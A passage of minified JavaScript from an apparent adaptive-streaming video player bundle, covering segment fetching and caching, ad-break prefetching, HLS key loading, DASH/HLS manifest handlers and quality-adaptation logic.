t(new r.AdaptationSetId(n._periodId,n._adaptationSetId),n._representationId):null},t}(r.AdaptationSetId);t.RepresentationId=u},35655:function(n,t,i){var f=this&&this.__extends||function(){var n=function(t,i){return n=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function r(){this.constructor=t}if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");n(t,i);t.prototype=null===i?Object.create(i):(r.prototype=i.prototype,new r)}}(),r,u;Object.defineProperty(t,"__esModule",{value:!0});t.RepresentationUpdater=void 0;r=i(99162);u=function(n){function t(t,i,r){var u=n.call(this,r)||this;return u.representation=t,u.manifestLoader=i,u}return f(t,n),t.prototype.getRepresentation=function(){return this.representation},t.prototype.setRepresentation=function(n){this.representation._internalId.equals(n._internalId)||this.cancel();this.representation=n;this.scheduleUpdate()},t.prototype.cancelScheduledUpdate=function(){this.cancel()},t.prototype.updateRepresentation=function(){return this.getPayload()},t.prototype.update=function(){var n=this;return this.manifestLoader.updateRepresentation(this.representation).then(function(t){if(n.representation._id!==t._id)throw r.REPRESENTATION_UPDATE_CANCEL;return n.representation=t,t})},t.prototype.getReloadIntervalInSeconds=function(){var n;return this.representation._requestTimestamp?null!==(n=this.representation._updateInterval)&&void 0!==n?n:1/0:0},t.prototype.getLastReloadTimestamp=function(){return this.representation._requestTimestamp?this.representation._requestTimestamp:0},t}(r.AbstractUpdater);t.RepresentationUpdater=u},10997:function(n,t,i){function e(n,t){var i=[];return n.forEach(function(n){return i.push(t(n))}),i}Object.defineProperty(t,"__esModule",{value:!0});t.AdRestorationOptimizationService=void 0;var u=i(62510),o=i(76650),s=i(28819),r=i(27177),h=i(94938),f=i(18665),c=i(3872),l=function(){function n(){var n=this;this.startOptimization=function(){r.isContextAvailable(n.context)&&n.context.eventHandler.off(u.PlayerEvent.AdStarted,n.startOptimization);n.prefetchContentSegments(n.segmentInfosToPrefetch);n.segmentInfosToPrefetch=[]}}return n.prototype.updatePlayerContext=function(n){this.mimeTypes=[];this.context=n;this.segmentInfoService=n.segmentInfoService;this.segmentPrefetchingService=n.segmentPrefetchingService},n.prototype.optimizeRestorationAfterUpcomingAdBreak=function(){var t,i,n=this,e=null===(i=null===(t=this.getSourceState())||void 0===t?void 0:t.getState())||void 0===i?void 0:i.playback,f;return!r.isContextAvailable(this.context)||!this.segmentInfoService||!e?Promise.reject("Could not get playback state and/or SegmentInfoService"):(f=c.getPlaybackPosition(e),isNaN(f)?Promise.reject("Could not get playback position"):this.segmentInfoService.getSegmentInfos(f,this.context.settings.AD_RESTORATION_SEGMENT_PREFETCHING_DURATION).then(function(t){n.addCodecInfo(t);n.segmentInfosToPrefetch=t;r.isContextAvailable(n.context)&&n.context.eventHandler&&n.context.eventHandler.on(u.PlayerEvent.AdStarted,n.startOptimization)}))},n.prototype.getSourceState=function(){if(r.isContextAvailable(this.context))return this.context.serviceManager.get(f.ServiceName.SourceStoreService,this.context.sourceContext.sourceIdentifier)},n.prototype.addCodecInfo=function(n){var t=r.isContextAvailable(this.context)?this.context.sourceContext.sourceIdentifier:void 0,i=t?this.context.serviceManager.get(f.ServiceName.ManifestService,t):void 0;i&&n.forEach(function(n){var t=i.getAdaptationSet(n.internalRepresentationId);t&&(n.codecs=h.getCodecsFromAdaptationSet(t))})},n.prototype.prefetchContentSegments=function(n){var t;this.mimeTypes=n.reduce(function(n,t){return t.mimeType&&!n.includes(t.mimeType)&&n.push(t.mimeType),n},[]);this.maybeCreateMetrics();null===(t=this.segmentPrefetchingService)||void 0===t||t.fetchAll(n)},n.prototype.findMatchingSegmentInfo=function(n,t){var i,r=null===(i=this.segmentPrefetchingService)||void 0===i?void 0:i.getPrefetchedSegments().get(n);if(r)return e(r,function(n){return n.segmentInfo}).find(function(n){if(!t||null==t.segmentNumber||null==t.startTime||null==t.duration)return!0;var i=t.segmentNumber+1,r=Math.round(t.startTime+t.duration),u=n.segmentNumber===i,f=null!=n.startTime&&Math.round(n.startTime)===r;return u||f})},n.prototype.hasPrefetchedSegment=function(n,t){var u,i;return r.isContextAvailable(this.context)&&this.context.sourceContext.isAd?!1:(i=n,"string"==typeof n&&(i=this.findMatchingSegmentInfo(n,t)),!(!i||"string"==typeof i)&&Boolean(null===(u=this.segmentPrefetchingService)||void 0===u?void 0:u.getPrefetchedSegment(i)))},n.prototype.getPrefetchedSegment=function(n,t){var r=this,i;return!this.segmentPrefetchingService||!n.mimeType?null:(i=this.segmentPrefetchingService.getPrefetchedSegment(n),this.segmentPrefetchingService.clearPrefetchingQueue(n.mimeType),i&&(this.segmentPrefetchingService.removePrefetchedSegment(n),this.segmentPrefetchingService.setShouldDownloadBeCancelledCallback(n.mimeType,t),i.finally(function(){r.segmentPrefetchingService&&n.mimeType&&r.segmentPrefetchingService.removeShouldDownloadBeCancelledCallback(n.mimeType)})),i)},n.prototype.getRepresentationForPrefetchedSegment=function(n){var t,i=null===(t=this.segmentPrefetchingService)||void 0===t?void 0:t.getPrefetchedSegments().get(n);if(i)return e(i,function(n){return n.segmentInfo.internalRepresentationId}).find(Boolean)},n.prototype.maybeCreateMetrics=function(){var t=this,n,i;r.isContextAvailable(this.context)&&(n=this.context.store.getState(),0!==this.mimeTypes.length&&n&&(i=s.getMetricsState(n),this.mimeTypes.forEach(function(n){i[n]||t.context.store.dispatch(o.initializeMetricsForMimeType(n,t.context.settings))})))},n.prototype.dispose=function(){r.isContextAvailable(this.context)&&this.context.eventHandler.off(u.PlayerEvent.AdStarted,this.startOptimization);this.segmentInfosToPrefetch=[];this.segmentInfoService=void 0;this.segmentPrefetchingService=void 0},n}();t.AdRestorationOptimizationService=l},86674:function(n,t,i){function r(n){return n.reduce(function(n,t){return n+t},0)/n.length}Object.defineProperty(t,"__esModule",{value:!0});t.bpsToMbps=t.calcAverage=t.filterValuesExceedingAverageByMargin=t.calculateDownloadRates=void 0;var u=i(40392);t.calculateDownloadRates=function(n){return n.map(function(n){return u.bytesToBits(n.bytes)/n.downloadDuration}).filter(function(n){return n<1/0})};t.filterValuesExceedingAverageByMargin=function(n){var t=1.1*r(n);return n.filter(function(n){return n<=t})};t.calcAverage=r;t.bpsToMbps=function(n){return n/1048576}},9140:function(n,t,i){function e(n){var t=s.extractContainerFormat(n);if(t)return{source:t,target:t}}Object.defineProperty(t,"__esModule",{value:!0});t.resolveContainerFormat=void 0;var o=i(79814),u=i(91520),f=i(16368),r=i(73543),s=i(58423);t.resolveContainerFormat=function(n,t,i){return i?function(n,t){var i,s=u.ModuleManager.has(f.ModuleName.ContainerMP4),h=null===(i=u.ModuleManager.get(f.ModuleName.ContainerMP4,!1))||void 0===i?void 0:i.isValidMp4;return s&&h(t)?{source:r.ContainerFormat.MP4,target:r.ContainerFormat.MP4}:o.MimeTypeHelper.isSubtitle(n)?e(n):{source:r.ContainerFormat.TS,target:r.ContainerFormat.MP4}}(n,t):e(n)}},26382:function(n,t,i){function l(n){return![e.HttpRequestMethod.GET,e.HttpRequestMethod.HEAD].includes(n)}var u=this&&this.__assign||function(){return u=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},u.apply(this,arguments)},s;Object.defineProperty(t,"__esModule",{value:!0});t.FetchController=void 0;var f,o=i(90637),r=i(23234),e=i(67345),h=i(10981),c=i(72207);!function(n){n.User="user";n.Timeout="timeout"}(f||(f={}));s=function(){function n(n,t,i,f){var e=this;this.useStreamResponse=f;this.setProgressListener=function(n){e.progressListener=n};this.onProgress=function(n){e.progressListener&&(e.timing.progressTimestamp=r.TimingUtil.getHiResTimestamp(),e.progress.loadedBytes=n,e.progressListener(u({},e.progress)))};this.onSuccess=function(){clearTimeout(e.cancelTimeout)};this.logger=n.logger;this.timeout=i;this.request=t;this.fetching=new h.Deferred;this.bytesReceivedCount=0;this.timing={sendTimestamp:-1,openedTimestamp:-1,headersReceivedTimestamp:-1,progressTimestamp:-1,doneTimestamp:-1};this.abortController=new AbortController;this.progress={loadedBytes:0,url:t.url,responseTiming:this.timing,chunks:[],elapsedTime:0}}return n.prototype.getResponse=function(){return this.load(this.request),this.fetching.promise},n.prototype.cancel=function(n){void 0===n&&(n=f.User);clearTimeout(this.cancelTimeout);this.cancellationReason=n;this.abortController.abort()},n.prototype.load=function(n){var i,t=this,e={method:n.method,headers:new Headers(n.headers),credentials:n.credentials,signal:this.abortController?this.abortController.signal:void 0,body:l(n.method)?n.body:void 0};this.timing.sendTimestamp=r.TimingUtil.getHiResTimestamp();fetch(n.url,e).then(function(n){var f,i;if(t.timing.headersReceivedTimestamp=r.TimingUtil.getHiResTimestamp(),null===(f=t.progressListener)||void 0===f||f.call(t,u({},t.progress)),n.ok)i=t.createHttpResponse(n),t.readResponse(n).then(function(n){i.body=n;i.length=t.bytesReceivedCount;i.timeToFirstByte=t.timing.headersReceivedTimestamp-t.timing.sendTimestamp;t.timing.doneTimestamp>0&&(i.elapsedTime=t.timing.doneTimestamp-t.timing.sendTimestamp);t.fetching.resolve(i)}).catch(function(i){t.onError({error:i.message,response:t.createHttpResponse(n)})});else t.onError({error:o.RequestError.Failed,response:t.createHttpResponse(n)})}).catch(function(n){t.onError({error:t.getRequestError(n)})});this.timing.openedTimestamp=r.TimingUtil.getHiResTimestamp();null===(i=this.progressListener)||void 0===i||i.call(this,u({},this.progress));this.cancelTimeout=setTimeout(function(){return t.cancel(f.Timeout)},this.timeout)},n.prototype.getResponseHeaders=function(n){var t={};return n.headers.forEach(function(n,i){return t[i]=n}),t},n.prototype.createHttpResponse=function(n){return{request:this.request,url:n.url,headers:this.getResponseHeaders(n),status:n.status,statusText:n.statusText}},n.prototype.getRequestError=function(n){return this.logger.debug("fetch error",n),n instanceof DOMException&&n.code===n.ABORT_ERR?this.cancellationReason===f.User?o.RequestError.Canceled:o.RequestError.TimedOut:o.RequestError.Failed},n.prototype.readResponse=function(n){var t=this,i,u,f,e;return n.body&&this.useStreamResponse?(i=new c.Stream,u=this.timing.headersReceivedTimestamp,this.readReadableStreamResponse(n,function(n){var f=r.TimingUtil.getHiResTimestamp(),o=f-u,e;u=f;t.progress.chunks.push({downloadDuration:o,bytes:n.byteLength});e=n instanceof Uint8Array?n.buffer:n;i.add(e)}).then(function(){i.end();t.onSuccess()}).catch(function(n){t.logger.debug("Error reading of fetch response:",n);i.abort(t.getRequestError(n))}),Promise.resolve(i)):(f=n.headers.get("Content-Length"),e=f?parseInt(f):0,this.progress.totalBytes=e,this.readReadableStreamResponse(n.clone()).catch(function(n){t.logger.debug("Error reading of fetch response:",n)}),this.readFullFetchResponse(n).then(function(n){return t.bytesReceivedCount=e,t.timing.doneTimestamp=r.TimingUtil.getHiResTimestamp(),t.onSuccess(),n}))},n.prototype.readReadableStreamResponse=function(n,t){var i=this,f,u;return n.body?(f=n.body.getReader(),u=function(){return f.read().then(function(n){var e=n.done,f=n.value;return e?(i.timing.doneTimestamp=r.TimingUtil.getHiResTimestamp(),void i.onProgress(i.bytesReceivedCount)):f?(null==t||t(f),i.bytesReceivedCount+=f.byteLength,i.onProgress(i.bytesReceivedCount),u()):void 0})},u()):Promise.reject(new Error("response.body is null"))},n.prototype.readFullFetchResponse=function(n){switch(this.request.responseType){case e.HttpResponseType.ARRAYBUFFER:return n.arrayBuffer();case e.HttpResponseType.TEXT:return n.text();case e.HttpResponseType.JSON:return n.json();default:return Promise.reject(new Error("Unsupported response type on fetch request"))}},n.prototype.onError=function(n){clearTimeout(this.cancelTimeout);this.logger.debug("Error performing fetch: ".concat(n.error),n.response);this.fetching.reject(n)},n}();t.FetchController=s},90864:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.createInitSegmentProvider=void 0;var r=i(72477);t.createInitSegmentProvider=function(n,t){return new r.UrlInitSegmentProvider(n,t)}},61214:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.InitSegmentService=void 0;var r=i(60997),u=i(90864),f=function(){function n(n,t,i){this.segmentParser=i;this.provider=u.createInitSegmentProvider(n,t)}return n.prototype.getSegment=function(n){var t=this;return this.provider.getSegment(n).then(function(n){var i;return null===(i=t.segmentParser)||void 0===i||i.parseSegment(n),n})},n.prototype.hasCachedSegment=function(n){return Boolean(this.getCachedSegment(n))},n.prototype.getCachedSegment=function(n){return this.provider.getCachedSegment(n)},n.prototype.removeCachedSegments=function(n){this.provider.removeCachedSegments(n)},n.prototype.dispose=function(){r.dispose(this.provider)},n}();t.InitSegmentService=f},5206:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.KeyLoader=void 0;var u=i(25550),f=i(28764),e=i(88005),r=i(67345),o=function(){function n(n){this.context=n;this.settings=n.settings;this.sourceIdentifier=n.sourceContext.sourceIdentifier;this.loader=new e.DefaultContentLoader(this.context,{maxRetries:this.settings.MAX_RETRIES,retryDelay:this.settings.RETRY_DELAY,requestType:r.HttpRequestType.KEY_HLS_AES})}return n.prototype.hasWithCredentials=function(){var n=this.context.sourceContext.source&&this.context.sourceContext.source.hasOwnProperty("options")&&this.context.sourceContext.source.options,t=n&&n.hasOwnProperty("withCredentials")&&n.withCredentials,i=n&&n.hasOwnProperty("hlsWithCredentials")&&n.hlsWithCredentials;return Boolean(t)||Boolean(i)},n.prototype.load=function(n){var t=this;return this.loader?this.loader.load(n,r.HttpRequestMethod.GET,r.HttpResponseType.ARRAYBUFFER,void 0,void 0,this.hasWithCredentials()).then(function(n){return n.body}).catch(function(i){return t.context.eventHandler.fireError(new f.PlayerError(u.ErrorCode.DRM_FAILED_LICENSE_REQUEST,{statusCode:i.status,statusText:i.statusText,keyUrl:n},"Failed to load the DRM key: ".concat(i.status," ").concat(i.statusText,"."),t.sourceIdentifier)),Promise.reject(i)}):Promise.reject("Could not load: No loader.")},n.prototype.isLoading=function(){return!!this.loader&&this.loader.isLoading()},n.prototype.dispose=function(){this.loader&&"function"==typeof this.loader.dispose&&this.loader.dispose();this.loader=void 0;this.settings=void 0},n}();t.KeyLoader=o},68284:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.KeyStore=void 0;var i=function(){function n(n){void 0===n&&(n=20);this.CAPACITY=n;this.keys=[]}return n.prototype.get=function(n){var t,i=null===(t=this.keys)||void 0===t?void 0:t.find(function(t){return t.uri===n});return i?i.buffer:null},n.prototype.put=function(n,t){this.keys&&(this.keys.push({uri:n,buffer:t}),this.keys.length>this.CAPACITY&&this.keys.shift())},n.prototype.dispose=function(){this.keys=void 0},n}();t.KeyStore=i},4141:function(n,t,i){function e(n){return u.MimeTypeHelper.isVideo(n)?r.HttpRequestType.MEDIA_VIDEO:u.MimeTypeHelper.isAudio(n)?r.HttpRequestType.MEDIA_AUDIO:u.MimeTypeHelper.isSubtitle(n)?r.HttpRequestType.MEDIA_SUBTITLES:u.MimeTypeHelper.isUnknown(n)?r.HttpRequestType.INTERNAL:r.HttpRequestType.UNKNOWN}Object.defineProperty(t,"__esModule",{value:!0});t.getLoader=t.getLoaderConfig=void 0;var f=i(88005),r=i(67345),u=i(79814);t.getLoaderConfig=function(n,t){var i;return(null===(i=n.config.tweaks)||void 0===i?void 0:i.segmentLoaderArgs)?n.config.tweaks.segmentLoaderArgs:{maxRetries:n.settings.MAX_CDN_RETRIES,requestType:e(t),disableDownloadTimeout:!0,resetRetriesWhenOffline:!0}};t.getLoader=function(n,t){var i,r=null===(i=n.config.tweaks)||void 0===i?void 0:i.segmentLoader;return r&&"function"==typeof r?new r(t):new f.DefaultContentLoader(n,t)}},73553:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.SegmentInfoErrors=void 0;var i=function(){function n(){}return n.END_OF_STREAM_REACHED={code:"END_OF_STREAM_REACHED"},n.PERIOD_COMPLETE={code:"PERIOD_COMPLETE"},n.PERIOD_DROPPED_OUT={code:"PERIOD_DROPPED_OUT"},n.SEGMENT_EXCEEDING_PERIOD_DURATION={code:"SEGMENT_EXCEEDING_PERIOD_DURATION"},n}();t.SegmentInfoErrors=i},84519:function(n,t,i){function s(n,t,i,f){return f?new(r.ModuleManager.get(u.ModuleName.Smooth).createSmoothSegmentTemplateMPDHandler())(n,t,i):null}function h(n,t){return t.SegmentList?new f.SegmentListMPDHandler(n):null}function c(n,t,i){var e=r.ModuleManager.get(u.ModuleName.DASH);return t&&t[0].SegmentTimeline?new e.SegmentTimelineMPDHandler(n):t?new e.SegmentTemplateMPDHandler(n):i.SegmentList?new f.SegmentListMPDHandler(n):i.SegmentBase?new e.SegmentBaseMPDHandler(n):null}Object.defineProperty(t,"__esModule",{value:!0});t.MPDHandlerFactory=void 0;var e=i(18665),r=i(91520),u=i(16368),f=i(67550),o=function(){function n(){}return n.createInstance=function(n,t,i,r,u){var f,l,o,a;return(void 0===r&&(r="0"),f=n.serviceManager.get(e.ServiceName.ManifestService,n.sourceContext.sourceIdentifier),!(null==f?void 0:f.hasAdaptationSets(r)))?null:(l=f.findAdaptationSet(r,t,u),!l)?(n.logger.debug("Did not find adaptation set for mime type [".concat(t,"] in period ").concat(r)),null):(o=l.Representation&&l.Representation[0],a=o&&o.SegmentTemplate?o.SegmentTemplate:l.SegmentTemplate,f.isSmoothManifest()?s(n,t,i,a):f.isHlsManifest()?h(n,o):c(n,a,o))},n}();t.MPDHandlerFactory=o},41661:function(n,t,i){function r(n,t){return(n.isInitSegment?["url","periodId","byteRange","representationId"]:["url","periodId","byteRange","discontinuitySequenceNumber"]).every(function(i){return"object"==typeof n[i]?f.compareValues(n[i],t[i]):n[i]===t[i]})}Object.defineProperty(t,"__esModule",{value:!0});t.areSegmentsIdentical=t.SegmentCache=void 0;var u=i(81361),f=i(45873),e=function(){function n(n){this.maxSize=Math.max(0,n);this.cache=[]}return n.prototype.contains=function(n){return this.cache.some(function(t){return r(n.getSegmentInfo(),t.getSegmentInfo())})},n.prototype.maintainCacheSize=function(n){this.cache=0!==n?this.cache.slice(-n):[]},n.prototype.add=function(n){this.contains(n)||(this.cache.push(n),this.maintainCacheSize(this.maxSize))},n.prototype.get=function(n){return this.cache.find(function(t){return r(n,t.getSegmentInfo())})},n.prototype.clear=function(){this.maintainCacheSize(0)},n.prototype.remove=function(n){this.cache=this.cache.filter(u.invert(n))},n.prototype.getCapacity=function(){return this.maxSize},n.prototype.getCachedCount=function(){return this.cache.length},n.prototype.getCachedSegments=function(){return this.cache.slice(0)},n}();t.SegmentCache=e;t.areSegmentsIdentical=r},58423:function(n,t,i){function o(n,t){var i=et.getSegmentInfoTimeRange(n.getSegmentInfo());i&&t.dispatch(ut.removeStreamTimeRange(c.getTrackIdentifier(n.getSegmentInfo()),i,c.StreamTimeRangeType.Loading))}function ot(n,t,i,u,f){var e=n.serviceManager.get(r.ServiceName.AdaptationService),o=n.serviceManager.get(r.ServiceName.ManifestService,n.sourceContext.sourceIdentifier),s=function(i,r){var f=Boolean(null==e?void 0:e.shouldDownloadBeCancelled(t,i,r));return(null==o?void 0:o.isHlsManifest())&&u.possiblyDependentSegments&&f?(n.logger.debug("Download should be cancelled, but this is disabled for segments not starting with key frames"),!1):f};return n.serviceManager.maybeCall(r.ServiceName.SegmentService,function(n){return n.add({mimeType:t,shouldDownloadBeCancelledCallback:s},i,f)})}function st(n){var t=n.split("/")[1].toLowerCase();return Object.values(pt.ContainerFormat).find(function(n){return n===t})}var f=this&&this.__assign||function(){return f=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},f.apply(this,arguments)},ht=this&&this.__spreadArray||function(n,t,i){if(i||2===arguments.length)for(var u,r=0,f=t.length;r<f;r++)!u&&r in t||(u||(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return n.concat(u||Array.prototype.slice.call(t))};Object.defineProperty(t,"__esModule",{value:!0});t.extractContainerFormat=t.getSegmentManager=t.SegmentController=void 0;var k=i(25550),d=i(28764),y=i(63546),p=i(35148),r=i(18665),w=i(60997),e=i(62510),g=i(58935),ct=i(29638),lt=i(57782),nt=i(28463),at=i(76650),tt=i(28819),it=i(8272),s=i(27177),u=i(79814),b=i(70016),vt=i(76885),l=i(91520),h=i(16368),yt=i(41108),pt=i(73543),wt=i(94938),rt=i(43752),bt=i(22916),kt=i(96707),dt=i(30855),a=i(4053),gt=i(82311),ni=i(58211),ut=i(59839),c=i(22645),ti=i(9140),ii=i(74830),ft=i(84519),ri=i(41661),ui=i(20417),et=i(28915),v=i(66864),fi=i(60704),ei=i(12482),oi=function(){function n(n,t,i,u,f,c,a,v){var w=this,k,b;this.context=n;this.onDataAvailableCallback=t;this.mimeType=i;this.manifestLoader=c;this.HLSModule=l.ModuleManager.get(h.ModuleName.HLS,!1);this.loadedAdaptationSetIds={};this.loadingDataSegmentInfos=[];this.isBackupStreamSwitchOngoing=!1;this.hasDownloadError=!1;this.invalidateOngoingSegmentInfoRequest=!1;this.disableDownloadCancelingForNextSegment=!1;this.isProcessingSegment=!1;this.onSegmentInfoError=function(n){var t,i;s.isContextAvailable(w.context)&&(i="Error obtaining ".concat(w.mimeType," segment info"),(null===(t=w.lastSegmentInfoError)||void 0===t?void 0:t.code)&&w.lastSegmentInfoError.code===(null==n?void 0:n.code)?w.logger.insane(i,n):w.debug(i,n),w.lastSegmentInfoError=n)};this.handleCancelLoadingError=function(n){w.debug("Error in cancelLoading of segmentLoaderPool ",n)};this.getNext=function(n,t){var i,u=!(null===(i=w.segmentManager)||void 0===i?void 0:i.canLoad())||w.pendingSegmentInfoRequest||w.hasActiveTransmuxingJobs()||w.isBackupStreamSwitchOngoing||w.isProcessingSegment,r;w.currentAdaptationSetId&&!u&&(w.debug("Getting next segment for time ".concat(n)),r={periodId:w.currentPeriodId,recommendedRepresentationId:t},w.hasValidSeekTarget||(r.time=n),w.hasValidSeekTarget&&(w.hasValidSeekTarget=!1),w.getSegmentInfo(r).then(function(n){return w.loadFromSegmentInfo(n)}).catch(w.onSegmentInfoError))};this.onSegmentLoaded=function(n){var i,t,r;if(w.isSegmentEmpty(n))return o(n,w.sourceStore),w.debug("Warning: Loaded segment has size 0 bytes, skipping further processing! May cause gap!",n.getUrl()),void(!(null===(i=n.getData())||void 0===i?void 0:i.byteLength)&&w.hlsTimelineTracker&&w.hlsTimelineTracker.reset());if(w.maybeUpdateContainerFormat(n),w.isTransmuxerRequired()){if(!l.ModuleManager.has(h.ModuleName.ContainerTS))return o(n,w.sourceStore),void w.context.eventHandler.fireError(new yt.PlayerModuleMissingError(h.ModuleName.ContainerTS));t=n.getSegmentInfo();t.presentationTimeOffset&&isNaN(t.presentationTimeOffset)&&(w.mpdHandler.setTimestampOffset(0),t.presentationTimeOffset=0);w.transmux(n)}else{if(!w.maybeIsSmoothManifest()&&w.isInvalidMp4Segment(n))return o(n,w.sourceStore),void w.eventHandler.dispatchEvent(e.PlayerEvent.Warning,new y.PlayerWarning(p.WarningCode.PLAYBACK_INVALID_DATA_SEGMENT_ENCOUNTERED,"The loaded MP4 segment is invalid, skipping further processing! May cause gap!",{mimeType:n.getMimeType(),segmentUrl:n.getUrl()}));r=!1;w.currentAdaptationSetId&&w.segmentManager&&(r=w.segmentPreProcessor.onSegmentAvailable(n,{id3:[],closedCaptions:[]},w.currentAdaptationSetId,w.segmentManager));r||o(n,w.sourceStore);n.getMimeType().indexOf("mp4")>-1&&!w.maybeIsHlsManifest()&&(w.isLastSegment=n.isLastSegment())}};this.onShouldDownloadBeCancelled=function(n,t){var i,r=Boolean(null===(i=w.adaptationService)||void 0===i?void 0:i.shouldDownloadBeCancelled(w.mimeType,n,t));return w.maybeIsHlsManifest()&&w.hls.possiblyDependentSegments&&r?(w.debug("Download should be cancelled, but this is disabled for segments not starting with key frames"),!1):r};k=n.sourceContext.sourceIdentifier;(this.currentPeriodId=a,this.sourceStore=v,this.manifestUpdateScheduler=n.serviceManager.get(r.ServiceName.ManifestUpdateSchedulingService,k),this.segmentUnavailabilityHandler=new dt.SegmentUnavailabilityHandler(this.context),this.adaptationService=this.context.serviceManager.get(r.ServiceName.AdaptationService),this.streamTimeService=this.context.serviceManager.get(r.ServiceName.StreamTimeService),this.hls={isTransmuxingRequired:f&&!this.isSubtitleSegmentController,transmuxer:void 0,possiblyDependentSegments:!1,isAvMuxedTogether:!!u&&u.indexOf(",")>-1,discardNextSegment:!1,muxedAudioTrackIndex:0},this.isContainerFormatKnown())&&(b=this.getContainerFormat(),this.hls.isTransmuxingRequired=b.source!==b.target);this.init()}return Object.defineProperty(n.prototype,"logger",{get:function(){return this.context.logger},enumerable:!1,configurable:!0}),Object.defineProperty(n.prototype,"settings",{get:function(){return this.context.settings},enumerable:!1,configurable:!0}),Object.defineProperty(n.prototype,"config",{get:function(){return this.context.config},enumerable:!1,configurable:!0}),Object.defineProperty(n.prototype,"eventHandler",{get:function(){return this.context.eventHandler},enumerable:!1,configurable:!0}),Object.defineProperty(n.prototype,"segmentManager",{get:function(){return ot(this.context,this.mimeType,this.segmentParser,this.hls,this.currentLangObj)},enumerable:!1,configurable:!0}),Object.defineProperty(n.prototype,"isSubtitleSegmentController",{get:function(){return u.MimeTypeHelper.isSubtitle(this.mimeType)},enumerable:!1,configurable:!0}),n.prototype.getUserFeedbackForAdaptation=function(n){var f=this,u=this.getAdaptationEventType(),t,i;return u?(t=this.getUserSelectedRepresentation(n.representationId),i=t?this.context.serviceManager.maybeCall(r.ServiceName.ManifestService,function(n){return f.currentAdaptationSetId&&n.getRepresentation(f.currentAdaptationSetId,t)},null,this.context.sourceContext.sourceIdentifier):null,i?(this.debug("user has overridden adaptation suggestion! suggested: ".concat(n.representationId,", user: ")+"".concat(t)),this.eventHandler.dispatchEvent(u,{representationID:i._internalId.representationId}),i._internalId):(this.eventHandler.dispatchEvent(u,{representationID:n.representationId}),null)):null},n.prototype.getUserSelectedRepresentation=function(n){var t,r=this.getAdaptationCallbackFn(),i,u;return r?(i=this.maybeGetAdaptationSet(this.currentAdaptationSetId),u=null!==(t=null==i?void 0:i.Representation.map(function(n){return{bandwidth:n._bandwidth,id:n._id}}))&&void 0!==t?t:[],r({suggested:n,isAd:this.context.sourceContext.isAd,representations:u})):null},n.prototype.getAdaptationEventType=function(){return u.MimeTypeHelper.isAudio(this.mimeType)?e.PlayerEvent.AudioAdaptation:u.MimeTypeHelper.isVideo(this.mimeType)?e.PlayerEvent.VideoAdaptation:null},n.prototype.getAdaptationCallbackFn=function(){var n,t;return u.MimeTypeHelper.isAudio(this.mimeType)?null===(n=this.config.adaptation)||void 0===n?void 0:n.onAudioAdaptation:u.MimeTypeHelper.isVideo(this.mimeType)?null===(t=this.config.adaptation)||void 0===t?void 0:t.onVideoAdaptation:void 0},n.prototype.getPrefetchedRepresentationId=function(){var n;if(null===(n=this.context.adRestorationOptimizationService)||void 0===n?void 0:n.hasPrefetchedSegment(this.mimeType,this.lastSegmentInfo))return this.context.adRestorationOptimizationService.getRepresentationForPrefetchedSegment(this.mimeType)},n.prototype.selectRepresentation=function(n){var i=this.getPrefetchedRepresentationId();if(i)return i;var r=this.sourceStore.getState(),f=!!r&&Boolean(nt.getPreferredBitrate(nt.getAdaptationState(r),this.mimeType)),t=this.getSuggestedRepresentationFromAbr(),u=t?this.getUserFeedbackForAdaptation(t):void 0;return u?(this.disableDownloadCancelingForNextSegment=!0,u):(null==n?void 0:n.periodId)!==this.getCurrentPeriodId()||f?t:n},n.prototype.getSuggestedRepresentationFromAbr=function(){var n,t,i={hlsDependentSegments:this.hls.possiblyDependentSegments,segmentDuration:this.mpdHandler.getSegmentDuration()};if(null!==(n=this.adaptationService)&&void 0!==n)return n.selectRepresentation(this.mimeType,i,null===(t=this.getCurrentAdaptationSet())||void 0===t?void 0:t.Representation)},n.prototype.switchRepresentation=function(n){var t=this.currentRepresentationId?this.currentRepresentationId.representationId:null;this.debug("switching representation from ".concat(t," to ").concat(n.representationId));this.mpdHandler.setRepresentationId(n);this.currentRepresentationId=n},n.prototype.invalidateOngoingRequests=function(){this.invalidateOngoingSegmentInfoRequest=!0},n.prototype.fireQualityChangeEvent=function(n,t){var i,h=this.context.serviceManager.maybeCall(r.ServiceName.ManifestService,function(t){return t.getRepresentationById(n)},null,this.context.sourceContext.sourceIdentifier),c=this.context.serviceManager.maybeCall(r.ServiceName.ManifestService,function(n){return n.getRepresentationById(t)},null,this.context.sourceContext.sourceIdentifier),f=h?rt.representationToQuality(h,this.mimeType):void 0,o=c?rt.representationToQuality(c,this.mimeType):void 0,s;o&&(s={targetQuality:o,targetQualityId:o.id,sourceQuality:f,sourceQualityId:null!==(i=null==f?void 0:f.id)&&void 0!==i?i:null},u.MimeTypeHelper.isVideo(this.mimeType)?this.context.eventHandler.dispatchEvent(e.PlayerEvent.VideoDownloadQualityChange,s):u.MimeTypeHelper.isAudio(this.mimeType)&&this.context.eventHandler.dispatchEvent(e.PlayerEvent.AudioDownloadQualityChange,s))},n.prototype.getSegmentInfo=function(n){var r,t=this,o=void 0!==(null===(r=this.lastSegmentInfo)||void 0===r?void 0:r.segmentNumber)?this.lastSegmentInfo.segmentNumber+1:0,i=this.selectRepresentation(n.recommendedRepresentationId),e=!i.equals(this.currentRepresentationId);return e&&(this.sourceStore.dispatch(a.setRepresentationIdAction(i)),u.MimeTypeHelper.isAV(this.mimeType)&&this.fireQualityChangeEvent(this.currentRepresentationId,i)),this.invalidateOngoingSegmentInfoRequest=!1,this.pendingSegmentInfoRequest=this.loadRepresentationInfo(i).then(function(){return 